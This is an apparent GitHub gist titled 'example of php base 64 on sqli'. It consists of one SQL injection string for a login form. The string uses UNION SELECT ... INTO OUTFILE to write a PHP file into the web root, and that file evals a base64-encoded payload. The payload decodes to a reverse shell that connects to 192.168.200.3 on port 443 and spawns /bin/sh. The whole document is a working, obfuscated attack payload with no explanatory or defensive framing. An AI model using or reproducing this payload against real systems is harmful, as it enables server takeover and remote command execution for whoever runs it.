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  • Save diegoalbuquerque/d43f583036ef8862b25064e2f05b31af to your computer and use it in GitHub Desktop.
Save diegoalbuquerque/d43f583036ef8862b25064e2f05b31af to your computer and use it in GitHub Desktop.
example of php base 64 on sqli
myusername=john&mypassword=-9334' OR 1908=1908 limit 0,0 union all select "<?php eval(base64_decode(",”'c2V0X3RpbWVfbGltaXQgKDApOwokVkVSU0lPTiA9ICIxLjAiOwokaXAgPSAnMTkyLjE2OC4yMDAuMyc7ICAvLyBDSEFOR0UgVEhJUwokcG9ydCA9IDQ0MzsgICAgICAgLy8gQ0hBTkdFIFRISVMKJGNodW5rX3NpemUgPSAxNDAwOwokd3JpdGVfYSA9IG51bGw7CiRlcnJvcl9hID0gbnVsbDsKJHNoZWxsID0gJ3VuYW1lIC1hOyB3OyBpZDsgL2Jpbi9zaCAtaSc7CiRkYWVtb24gPSAwOwokZGVidWcgPSAwOwoKCmlmIChmdW5jdGlvbl9leGlzdHMoJ3BjbnRsX2ZvcmsnKSkgewoJJHBpZCA9IHBjbnRsX2ZvcmsoKTsKCQoJaWYgKCRwaWQgPT0gLTEpIHsKCQlwcmludGl0KCJFUlJPUjogQ2FuJ3QgZm9yayIpOwoJCWV4aXQoMSk7Cgl9CgkKCWlmICgkcGlkKSB7CgkJZXhpdCgwKTsgIC8vIFBhcmVudCBleGl0cwoJfQoKCWlmIChwb3NpeF9zZXRzaWQoKSA9PSAtMSkgewoJCXByaW50aXQoIkVycm9yOiBDYW4ndCBzZXRzaWQoKSIpOwoJCWV4aXQoMSk7Cgl9CgoJJGRhZW1vbiA9IDE7Cn0gZWxzZSB7CglwcmludGl0KCJXQVJOSU5HOiBGYWlsZWQgdG8gZGFlbW9uaXNlLiAgVGhpcyBpcyBxdWl0ZSBjb21tb24gYW5kIG5vdCBmYXRhbC4iKTsKfQoKY2hkaXIoIi8iKTsKCnVtYXNrKDApOwoKCiRzb2NrID0gZnNvY2tvcGVuKCRpcCwgJHBvcnQsICRlcnJubywgJGVycnN0ciwgMzApOwppZiAoISRzb2NrKSB7CglwcmludGl0KCIkZXJyc3RyICgkZXJybm8pIik7CglleGl0KDEpOwp9CgokZGVzY3JpcHRvcnNwZWMgPSBhcnJheSgKICAgMCA9PiBhcnJheSgicGlwZSIsICJyIiksICAvLyBzdGRpbiBpcyBhIHBpcGUgdGhhdCB0aGUgY2hpbGQgd2lsbCByZWFkIGZyb20KICAgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksICAvLyBzdGRvdXQgaXMgYSBwaXBlIHRoYXQgdGhlIGNoaWxkIHdpbGwgd3JpdGUgdG8KICAgMiA9PiBhcnJheSgicGlwZSIsICJ3IikgICAvLyBzdGRlcnIgaXMgYSBwaXBlIHRoYXQgdGhlIGNoaWxkIHdpbGwgd3JpdGUgdG8KKTsKCiRwcm9jZXNzID0gcHJvY19vcGVuKCRzaGVsbCwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpOwoKaWYgKCFpc19yZXNvdXJjZSgkcHJvY2VzcykpIHsKCXByaW50aXQoIkVSUk9SOiBDYW4ndCBzcGF3biBzaGVsbCIpOwoJZXhpdCgxKTsKfQoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMF0sIDApOwpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1sxXSwgMCk7CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzJdLCAwKTsKc3RyZWFtX3NldF9ibG9ja2luZygkc29jaywgMCk7CgpwcmludGl0KCJTdWNjZXNzZnVsbHkgb3BlbmVkIHJldmVyc2Ugc2hlbGwgdG8gJGlwOiRwb3J0Iik7Cgp3aGlsZSAoMSkgewoJaWYgKGZlb2YoJHNvY2spKSB7CgkJcHJpbnRpdCgiRVJST1I6IFNoZWxsIGNvbm5lY3Rpb24gdGVybWluYXRlZCIpOwoJCWJyZWFrOwoJfQoKCWlmIChmZW9mKCRwaXBlc1sxXSkpIHsKCQlwcmludGl0KCJFUlJPUjogU2hlbGwgcHJvY2VzcyB0ZXJtaW5hdGVkIik7CgkJYnJlYWs7Cgl9CgoJJHJlYWRfYSA9IGFycmF5KCRzb2NrLCAkcGlwZXNbMV0sICRwaXBlc1syXSk7CgkkbnVtX2NoYW5nZWRfc29ja2V0cyA9IHN0cmVhbV9zZWxlY3QoJHJlYWRfYSwgJHdyaXRlX2EsICRlcnJvcl9hLCBudWxsKTsKCglpZiAoaW5fYXJyYXkoJHNvY2ssICRyZWFkX2EpKSB7CgkJaWYgKCRkZWJ1ZykgcHJpbnRpdCgiU09DSyBSRUFEIik7CgkJJGlucHV0ID0gZnJlYWQoJHNvY2ssICRjaHVua19zaXplKTsKCQlpZiAoJGRlYnVnKSBwcmludGl0KCJTT0NLOiAkaW5wdXQiKTsKCQlmd3JpdGUoJHBpcGVzWzBdLCAkaW5wdXQpOwoJfQoKCWlmIChpbl9hcnJheSgkcGlwZXNbMV0sICRyZWFkX2EpKSB7CgkJaWYgKCRkZWJ1ZykgcHJpbnRpdCgiU1RET1VUIFJFQUQiKTsKCQkkaW5wdXQgPSBmcmVhZCgkcGlwZXNbMV0sICRjaHVua19zaXplKTsKCQlpZiAoJGRlYnVnKSBwcmludGl0KCJTVERPVVQ6ICRpbnB1dCIpOwoJCWZ3cml0ZSgkc29jaywgJGlucHV0KTsKCX0KCglpZiAoaW5fYXJyYXkoJHBpcGVzWzJdLCAkcmVhZF9hKSkgewoJCWlmICgkZGVidWcpIHByaW50aXQoIlNUREVSUiBSRUFEIik7CgkJJGlucHV0ID0gZnJlYWQoJHBpcGVzWzJdLCAkY2h1bmtfc2l6ZSk7CgkJaWYgKCRkZWJ1ZykgcHJpbnRpdCgiU1RERVJSOiAkaW5wdXQiKTsKCQlmd3JpdGUoJHNvY2ssICRpbnB1dCk7Cgl9Cn0KCmZjbG9zZSgkc29jayk7CmZjbG9zZSgkcGlwZXNbMF0pOwpmY2xvc2UoJHBpcGVzWzFdKTsKZmNsb3NlKCRwaXBlc1syXSk7CnByb2NfY2xvc2UoJHByb2Nlc3MpOwoKZnVuY3Rpb24gcHJpbnRpdCAoJHN0cmluZykgewoJaWYgKCEkZGFlbW9uKSB7CgkJcHJpbnQgIiRzdHJpbmdcbiI7Cgl9Cn0='","));?>" INTO OUTFILE '/var/www/meu-lindo-shell.php'--%20-
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